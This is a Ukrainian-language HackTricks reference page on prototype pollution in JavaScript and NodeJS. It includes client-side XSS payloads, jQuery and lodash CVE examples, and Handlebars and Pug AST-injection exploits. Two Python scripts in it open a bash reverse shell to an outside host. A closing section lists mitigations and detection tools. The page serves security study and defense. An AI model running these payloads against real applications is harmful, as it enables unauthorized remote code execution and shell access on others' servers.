NodeJS - __proto__ та забруднення прототипу

Reading time: 12 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Об'єкти в JavaScript

Об'єкти в JavaScript по суті є колекціями пар ключ-значення, відомими як властивості. Об'єкт можна створити за допомогою Object.create з null як аргументом, щоб отримати порожній об'єкт. Цей метод дозволяє створити об'єкт без будь-яких успадкованих властивостей.

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

Порожній об'єкт подібний до порожнього словника, який представлений як {}.

Функції та класи в JavaScript

У JavaScript класи та функції тісно пов'язані, причому функції часто виконують роль конструкторів для класів. Незважаючи на відсутність нативної підтримки класів у JavaScript, конструктори можуть імітувати поведінку класів.

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

Прототипи в JavaScript

JavaScript дозволяє модифікацію, додавання або видалення атрибутів прототипу під час виконання. Ця гнучкість дозволяє динамічно розширювати функціональність класів.

Функції, такі як toString і valueOf, можуть бути змінені для зміни їх поведінки, демонструючи адаптивну природу системи прототипів JavaScript.

Спадкування

У програмуванні на основі прототипів властивості/методи успадковуються об'єктами від класів. Ці класи створюються шляхом додавання властивостей/методів або до екземпляра іншого класу, або до порожнього об'єкта.

Слід зазначити, що коли властивість додається до об'єкта, який слугує прототипом для інших об'єктів (таких як myPersonObj), успадковуючі об'єкти отримують доступ до цієї нової властивості. Однак ця властивість не відображається автоматично, якщо її не викликати явно.

__proto__ забруднення

Дослідження забруднення прототипу в JavaScript

Об'єкти JavaScript визначаються парами ключ-значення і успадковують від прототипу об'єкта JavaScript. Це означає, що зміна прототипу Object може вплинути на всі об'єкти в середовищі.

Давайте використаємо інший приклад для ілюстрації:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

Доступ до прототипу об'єкта можливий через:

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Додаючи властивості до прототипу Object, кожен об'єкт JavaScript успадкує ці нові властивості:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

prototype pollution

У сценарії, де використання __proto__ обмежене, модифікація прототипу функції є альтернативою:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

Це впливає лише на об'єкти, створені з конструктора Vehicle, надаючи їм властивості beep, hasWheels, honk та isElectric.

Два методи для глобального впливу на об'єкти JavaScript через забруднення прототипу включають:

  1. Забруднення Object.prototype безпосередньо:
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. Забруднення прототипу конструктора для загальновживаної структури:
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

Після цих операцій кожен об'єкт JavaScript може виконувати методи goodbye та greet.

Забруднення інших об'єктів

Від класу до Object.prototype

У сценарії, де ви можете забруднити конкретний об'єкт і вам потрібно достукатися до Object.prototype, ви можете шукати його за допомогою чогось на кшталт наступного коду:

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Забруднення елементів масиву

Зверніть увагу, що оскільки ви можете забруднювати атрибути об'єктів у JS, якщо у вас є доступ до забруднення масиву, ви також можете забруднювати значення масиву, доступні за індексами (зверніть увагу, що ви не можете перезаписувати значення, тому вам потрібно забруднити індекси, які якимось чином використовуються, але не записуються).

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Забруднення HTML елементів

Коли генерується HTML елемент за допомогою JS, можливо перезаписати атрибут innerHTML, щоб він записував произвольний HTML код. Idea and example from this writeup.

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Приклади

Основний приклад

Забруднення прототипу відбувається через недолік в додатку, який дозволяє перезаписувати властивості на Object.prototype. Це означає, що оскільки більшість об'єктів отримують свої властивості з Object.prototype

Найпростіший приклад - це додати значення до невизначеного атрибута об'єкта, який буде перевірятися, наприклад:

javascript
if (user.admin) {

Якщо атрибут admin не визначений, можливо зловживати PP і встановити його в True за допомогою чогось на зразок:

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Механізм, що стоїть за цим, полягає в маніпулюванні властивостями так, що якщо зловмисник контролює певні вхідні дані, він може змінити прототип усіх об'єктів в додатку. Ця маніпуляція зазвичай включає встановлення властивості __proto__, яка в JavaScript є синонімом безпосередньої зміни прототипу об'єкта.

Умови, за яких ця атака може бути успішно виконана, як зазначено в конкретному дослідженні, включають:

  • Виконання рекурсивного злиття.
  • Визначення властивостей на основі шляху.
  • Клонування об'єктів.

Override function

python
customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

Інші payloads:

Client-side prototype pollution to XSS

Client Side Prototype Pollution

CVE-2019–11358: Атака на прототипне забруднення через jQuery $ .extend

Для отримання додаткової інформації перегляньте цю статтю У jQuery функція $ .extend може призвести до прототипного забруднення, якщо функцію глибокого копіювання використовувати неправильно. Ця функція зазвичай використовується для клонування об'єктів або об'єднання властивостей з об'єкта за замовчуванням. Однак, при неправильній конфігурації, властивості, призначені для нового об'єкта, можуть бути призначені прототипу замість цього. Наприклад:

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

Ця вразливість, ідентифікована як CVE-2019–11358, ілюструє, як глибоке копіювання може ненавмисно змінити прототип, що призводить до потенційних ризиків безпеки, таких як несанкціонований доступ адміністратора, якщо такі властивості, як isAdmin, перевіряються без належної перевірки існування.

CVE-2018–3721, CVE-2019–10744: Атака на забруднення прототипу через lodash

Для отримання додаткової інформації перегляньте цю статтю

Lodash зіткнувся з подібними вразливостями забруднення прототипу (CVE-2018–3721, CVE-2019–10744). Ці проблеми були вирішені в версії 4.17.11.

Інший посібник з CVE

https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2

Інструменти для виявлення забруднення прототипу

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Розширення Burp Suite, призначене для виявлення та аналізу вразливостей забруднення прототипу на стороні сервера в веб-додатках. Цей інструмент автоматизує процес сканування запитів для виявлення потенційних проблем забруднення прототипу. Він використовує відомі гаджети - методи використання забруднення прототипу для виконання шкідливих дій - зокрема, зосереджуючись на бібліотеках Node.js.
  • server-side-prototype-pollution: Це розширення виявляє вразливості забруднення прототипу на стороні сервера. Воно використовує техніки, описані в забрудненні прототипу на стороні сервера.

AST Забруднення прототипу в NodeJS

NodeJS широко використовує абстрактні синтаксичні дерева (AST) в JavaScript для функцій, таких як шаблонні двигуни та TypeScript. Цей розділ досліджує вразливості, пов'язані із забрудненням прототипу в шаблонних двигунах, зокрема Handlebars і Pug.

Аналіз вразливості Handlebars

Шаблонний двигун Handlebars вразливий до атаки на забруднення прототипу. Ця вразливість виникає через специфічні функції в файлі javascript-compiler.js. Функція appendContent, наприклад, конкатенує pendingContent, якщо він присутній, тоді як функція pushSource скидає pendingContent на undefined після додавання джерела.

Процес експлуатації

Експлуатація використовує AST (абстрактне синтаксичне дерево), створене Handlebars, дотримуючись цих кроків:

  1. Маніпуляція парсером: Спочатку парсер, через вузол NumberLiteral, вимагає, щоб значення були числовими. Забруднення прототипу може обійти це, дозволяючи вставку нечислових рядків.
  2. Обробка компілятором: Компілятор може обробляти об'єкт AST або шаблон рядка. Якщо input.type дорівнює Program, вхідні дані обробляються як попередньо розібрані, що може бути використано в експлуатації.
  3. Впровадження коду: Через маніпуляцію Object.prototype можна впровадити довільний код у функцію шаблону, що може призвести до віддаленого виконання коду.

Приклад, що демонструє експлуатацію вразливості Handlebars:

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

Цей код демонструє, як зловмисник може впровадити довільний код у шаблон Handlebars.

Зовнішнє посилання: Проблема, пов'язана з забрудненням прототипу, була виявлена в бібліотеці 'flat', як детально описано тут: Issue on GitHub.

Зовнішнє посилання: Issue related to prototype pollution in the 'flat' library

Приклад експлуатації забруднення прототипу в Python:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Уразливість Pug

Pug, ще один движок шаблонів, стикається з подібним ризиком забруднення прототипу. Детальна інформація доступна в обговоренні про AST Injection in Pug.

Приклад забруднення прототипу в Pug:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Запобіжні заходи

Щоб зменшити ризик забруднення прототипу, можна використовувати наведені нижче стратегії:

  1. Незмінність об'єктів: Object.prototype можна зробити незмінним, застосувавши Object.freeze.
  2. Валідація вводу: JSON-вводи повинні бути ретельно перевірені відповідно до схеми програми.
  3. Безпечні функції злиття: Слід уникати небезпечного використання рекурсивних функцій злиття.
  4. Об'єкти без прототипу: Об'єкти без властивостей прототипу можна створити за допомогою Object.create(null).
  5. Використання Map: Замість Object слід використовувати Map для зберігання пар ключ-значення.
  6. Оновлення бібліотек: Безпекові патчі можна впроваджувати шляхом регулярного оновлення бібліотек.
  7. Інструменти лінтингу та статичного аналізу: Використовуйте інструменти, такі як ESLint з відповідними плагінами, для виявлення та запобігання вразливостям, пов'язаним із забрудненням прототипу.
  8. Огляди коду: Реалізуйте ретельні огляди коду для виявлення та усунення потенційних ризиків, пов'язаних із забрудненням прототипу.
  9. Навчання з безпеки: Освіжайте розробників про ризики забруднення прототипу та найкращі практики написання безпечного коду.
  10. Обережне використання бібліотек: Будьте обережні при використанні сторонніх бібліотек. Оцініть їх безпекову позицію та перегляньте їх код, особливо ті, що маніпулюють об'єктами.
  11. Захист під час виконання: Використовуйте механізми захисту під час виконання, такі як безпеково орієнтовані npm-пакети, які можуть виявляти та запобігати атакам забруднення прототипу.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks